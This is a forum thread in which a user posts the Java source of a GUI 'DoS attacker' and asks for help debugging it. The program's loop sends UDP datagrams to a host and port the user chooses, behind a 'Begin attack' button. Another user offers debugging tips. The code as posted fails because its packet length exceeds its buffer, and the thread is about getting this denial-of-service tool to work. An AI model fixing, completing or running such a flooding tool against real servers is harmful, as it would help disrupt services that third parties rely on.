DoS attacker help, please!

[somanayr]

So I wrote a program that pings a server with datagrams, but I'm getting a few errors. If anyone can help, that'd be awesome!

package DoS_attacker;


import java.awt.AWTException;
import java.awt.Robot;
import java.io.IOException;
import java.net.DatagramPacket;
import java.net.DatagramSocket;
import java.net.InetAddress;
import java.net.SocketException;
import java.net.UnknownHostException;
import java.util.logging.Level;
import java.util.logging.Logger;
import javax.swing.JFrame;

/*
 * To change this template, choose Tools | Templates
 * and open the template in the editor.
 */

/*
 * DoS_GUI.java
 *
 * Created on Jun 5, 2010, 10:24:14 PM
 */

/**
 *
 * @author ramos
 */
public class DoS_GUI extends javax.swing.JFrame {

    /** Creates new form DoS_GUI */
    public DoS_GUI() {
        initComponents();
    }

    public void ping(int number_of_pings, InetAddress IP, byte[] buffer, int port, int length, int delay){
        try {
            DatagramPacket ping = new DatagramPacket(buffer, length, IP, port);
            DatagramSocket socket = new DatagramSocket(4545);
            int loop = 1;
            int percent = 0;
            float progress_float;
            float percent_float;
            while (loop != number_of_pings) {
                socket.send(ping);
                progress_float = loop / number_of_pings;
                percent_float = progress_float * 100;
                percent = (int) percent_float;
                ProgressBar.setValue(percent);
                loop++;
                Robot robot = new Robot();
                robot.delay(delay);
                System.out.println("pinging");
            }
        } catch (AWTException ex) {
            Logger.getLogger(DoS_GUI.class.getName()).log(Level.SEVERE, null, ex);
            Error dialog = new Error(1);
        } catch (IOException ex) {
            Logger.getLogger(DoS_GUI.class.getName()).log(Level.SEVERE, null, ex);
        }
    }

    /** This method is called from within the constructor to
     * initialize the form.
     * WARNING: Do NOT modify this code. The content of this method is
     * always regenerated by the Form Editor.
     */
    @SuppressWarnings("unchecked")
    // <editor-fold defaultstate="collapsed" desc="Generated Code">                          
    private void initComponents() {

        host_name = new javax.swing.JTextField();
        jLabel1 = new javax.swing.JLabel();
        jLabel2 = new javax.swing.JLabel();
        pings = new javax.swing.JTextField();
        jButton1 = new javax.swing.JButton();
        jButton2 = new javax.swing.JButton();
        ProgressBar = new javax.swing.JProgressBar();
        jLabel3 = new javax.swing.JLabel();
        Port_number = new javax.swing.JTextField();
        Delay = new javax.swing.JTextField();
        jLabel4 = new javax.swing.JLabel();

        setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE);
        setTitle("DoS attack-- Denial of Service");

        jLabel1.setText("Website name:");

        jLabel2.setText("# of pings:");

        jButton1.setText("Begin attack");
        jButton1.addMouseListener(new java.awt.event.MouseAdapter() {
            public void mouseClicked(java.awt.event.MouseEvent evt) {
                jButton1MouseClicked(evt);
            }
        });

        jButton2.setText("Terms of use");
        jButton2.addMouseListener(new java.awt.event.MouseAdapter() {
            public void mouseClicked(java.awt.event.MouseEvent evt) {
                jButton2MouseClicked(evt);
            }
        });

        ProgressBar.addChangeListener(new javax.swing.event.ChangeListener() {
            public void stateChanged(javax.swing.event.ChangeEvent evt) {
                ProgressBarStateChanged(evt);
            }
        });

        jLabel3.setText("Port:");

        jLabel4.setText("Delay");

        javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane());
        getContentPane().setLayout(layout);
        layout.setHorizontalGroup(
            layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(layout.createSequentialGroup()
                .addContainerGap()
                .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING, false)
                    .addComponent(ProgressBar, javax.swing.GroupLayout.Alignment.LEADING, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
                    .addGroup(javax.swing.GroupLayout.Alignment.LEADING, layout.createSequentialGroup()
                        .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING, false)
                            .addGroup(layout.createSequentialGroup()
                                .addComponent(jButton2)
                                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                                .addComponent(jButton1)
                                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                                .addComponent(jLabel2)
                                .addGap(2, 2, 2)
                                .addComponent(pings, javax.swing.GroupLayout.PREFERRED_SIZE, 45, javax.swing.GroupLayout.PREFERRED_SIZE))
                            .addGroup(layout.createSequentialGroup()
                                .addComponent(jLabel1)
                                .addGap(3, 3, 3)
                                .addComponent(host_name)
                                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                                .addComponent(jLabel3)))
                        .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING, false)
                            .addGroup(layout.createSequentialGroup()
                                .addGap(1, 1, 1)
                                .addComponent(jLabel4)
                                .addGap(4, 4, 4)
                                .addComponent(Delay, javax.swing.GroupLayout.PREFERRED_SIZE, 59, javax.swing.GroupLayout.PREFERRED_SIZE))
                            .addGroup(layout.createSequentialGroup()
                                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                                .addComponent(Port_number)))))
                .addContainerGap())
        );
        layout.setVerticalGroup(
            layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(layout.createSequentialGroup()
                .addGap(21, 21, 21)
                .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
                    .addComponent(jLabel1)
                    .addComponent(host_name, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
                    .addComponent(jLabel3)
                    .addComponent(Port_number, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
                    .addComponent(jButton2)
                    .addComponent(jButton1)
                    .addComponent(jLabel2)
                    .addComponent(pings, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
                    .addComponent(jLabel4)
                    .addComponent(Delay, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                .addComponent(ProgressBar, javax.swing.GroupLayout.PREFERRED_SIZE, 20, javax.swing.GroupLayout.PREFERRED_SIZE)
                .addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
        );

        pack();
    }// </editor-fold>                        

    private void ProgressBarStateChanged(javax.swing.event.ChangeEvent evt) {                                         

    }                                        

    private void jButton1MouseClicked(java.awt.event.MouseEvent evt) {                                      
            String s = host_name.getText();
            int num_ping = Integer.parseInt(pings.getText());
            byte[] buffer = new byte[256];
            int port = Integer.parseInt(Port_number.getText());
            int length = 27000;
            int delay = Integer.parseInt(Delay.getText());
            InetAddress IP;
            try {
                IP = InetAddress.getByName(s);
                s = IP.getHostAddress();
                ping(num_ping, IP, buffer, port, length, delay);
            }catch (UnknownHostException ex) {
                Logger.getLogger(DoS_GUI.class.getName()).log(Level.SEVERE, null, ex);
                java.awt.EventQueue.invokeLater(new Runnable() {
                    public void run() {
                        InvalidWebpage dialog = new InvalidWebpage(new javax.swing.JFrame(), true);
                        dialog.setVisible(true);
                    }
                });
            }
    }                                     

    private void jButton2MouseClicked(java.awt.event.MouseEvent evt) {                                      
        java.awt.EventQueue.invokeLater(new Runnable() {
            public void run() {
                TOS dialog = new TOS(new javax.swing.JFrame(), true);
                dialog.setVisible(true);
            }
        });
    }                                     

    /**
    * @param args the command line arguments
    */
    public static void main(String args[]) {
        java.awt.EventQueue.invokeLater(new Runnable() {
            public void run() {
                new DoS_GUI().setVisible(true);
            }
        });
    }

    // Variables declaration - do not modify                     
    private javax.swing.JTextField Delay;
    private javax.swing.JTextField Port_number;
    private javax.swing.JProgressBar ProgressBar;
    private javax.swing.JTextField host_name;
    private javax.swing.JButton jButton1;
    private javax.swing.JButton jButton2;
    private javax.swing.JLabel jLabel1;
    private javax.swing.JLabel jLabel2;
    private javax.swing.JLabel jLabel3;
    private javax.swing.JLabel jLabel4;
    private javax.swing.JTextField pings;
    // End of variables declaration                   

}

Errors:

at java.net.DatagramPacket.setData(DatagramPacket.java:264)
        at java.net.DatagramPacket.<init>(DatagramPacket.java:116)
        at java.net.DatagramPacket.<init>(DatagramPacket.java:157)
        at DoS_attacker.DoS_GUI.ping(DoS_GUI.java:40)
        at DoS_attacker.DoS_GUI.jButton1MouseClicked(DoS_GUI.java:192)
        at DoS_attacker.DoS_GUI.access$000(DoS_GUI.java:31)
        at DoS_attacker.DoS_GUI$1.mouseClicked(DoS_GUI.java:96)
        at java.awt.AWTEventMulticaster.mouseClicked(AWTEventMulticaster.java:270)
        at java.awt.Component.processMouseEvent(Component.java:6111)
        at javax.swing.JComponent.processMouseEvent(JComponent.java:3267)
        at java.awt.Component.processEvent(Component.java:5873)
        at java.awt.Container.processEvent(Container.java:2105)
        at java.awt.Component.dispatchEventImpl(Component.java:4469)
        at java.awt.Container.dispatchEventImpl(Container.java:2163)
        at java.awt.Component.dispatchEvent(Component.java:4295)
        at java.awt.LightweightDispatcher.retargetMouseEvent(Container.java:4461)
        at java.awt.LightweightDispatcher.processMouseEvent(Container.java:4134)
        at java.awt.LightweightDispatcher.dispatchEvent(Container.java:4055)
        at java.awt.Container.dispatchEventImpl(Container.java:2149)
        at java.awt.Window.dispatchEventImpl(Window.java:2478)
        at java.awt.Component.dispatchEvent(Component.java:4295)
        at java.awt.EventQueue.dispatchEvent(EventQueue.java:604)
        at java.awt.EventDispatchThread.pumpOneEventForFilters(EventDispatchThread.java:275)
        at java.awt.EventDispatchThread.pumpEventsForFilter(EventDispatchThread.java:200)
        at java.awt.EventDispatchThread.pumpEventsForHierarchy(EventDispatchThread.java:190)
        at java.awt.EventDispatchThread.pumpEvents(EventDispatchThread.java:185)
        at java.awt.EventDispatchThread.pumpEvents(EventDispatchThread.java:177)
        at java.awt.EventDispatchThread.run(EventDispatchThread.java:138)

Because you're wasting your own time to help me, I've post where the first two errors that occur in this file are.

public void ping(int number_of_pings, InetAddress IP, byte[] buffer, int port, int length, int delay){
        try {
            DatagramPacket ping = new DatagramPacket(buffer, length, IP, port); //<---- Error
            DatagramSocket socket = new DatagramSocket(4545);
            int loop = 1;
            int percent = 0;
            float progress_float;
            float percent_float;
            while (loop != number_of_pings) {
                socket.send(ping);
                progress_float = loop / number_of_pings;
                percent_float = progress_float * 100;
                percent = (int) percent_float;
                ProgressBar.setValue(percent);
                loop++;
                Robot robot = new Robot();
                robot.delay(delay);
                System.out.println("pinging");
            }
        } catch (AWTException ex) {
            Logger.getLogger(DoS_GUI.class.getName()).log(Level.SEVERE, null, ex);
            Error dialog = new Error(1);
        } catch (IOException ex) {
            Logger.getLogger(DoS_GUI.class.getName()).log(Level.SEVERE, null, ex);
        }
    }

private void jButton1MouseClicked(java.awt.event.MouseEvent evt) {                                      
            String s = host_name.getText();
            int num_ping = Integer.parseInt(pings.getText());
            byte[] buffer = new byte[256];
            int port = Integer.parseInt(Port_number.getText());
            int length = 27000;
            int delay = Integer.parseInt(Delay.getText());
            InetAddress IP;
            try {
                IP = InetAddress.getByName(s);
                s = IP.getHostAddress();
                ping(num_ping, IP, buffer, port, length, delay); //<---- Error!
            }catch (UnknownHostException ex) {
                Logger.getLogger(DoS_GUI.class.getName()).log(Level.SEVERE, null, ex);
                java.awt.EventQueue.invokeLater(new Runnable() {
                    public void run() {
                        InvalidWebpage dialog = new InvalidWebpage(new javax.swing.JFrame(), true);
                        dialog.setVisible(true);
                    }
                });
            }
    }

Thanks for the help :D

[Norm]

You left off the text of the error message!
You've only given the call stack.

[somanayr]

You left off the text of the error message!
You've only given the call stack.

:$

Exception in thread "AWT-EventQueue-0" java.lang.IllegalArgumentException: illegal length or offset

That was there all along ;)

Thanks for pointing that out. Does that help with finding the error?

[Norm]

That was there all along

I guess I'm blind. My Search doesn't see it either.

java.lang.IllegalArgumentException: illegal length or offset

To see what the problem is you need to Print out all of the values passed to the method/constructor.

[somanayr]

I guess I'm blind. My Search doesn't see it either.

Notice the " ;) " XD

To see what the problem is you need to Print out all of the values passed to the method/constructor.

Okay. I'll do that.

[somanayr]

I edited the code so that you put in the IP address (fewer places for errors)

InetAddress IP_address = InetAddress.getByName(s);
s = IP_address.getHostAddress();
System.out.println(IP_address.toString());

Where s is a string defined by the user

Prints a "/" then the IP. So that's my problem. When I tried it before, it would print websitename/IP.

How do I fix that?

[somanayr]

It looks like just about any way I do it, if you print the IP before running it through my ping function, it's normal. then if you print it after, it has a slash first.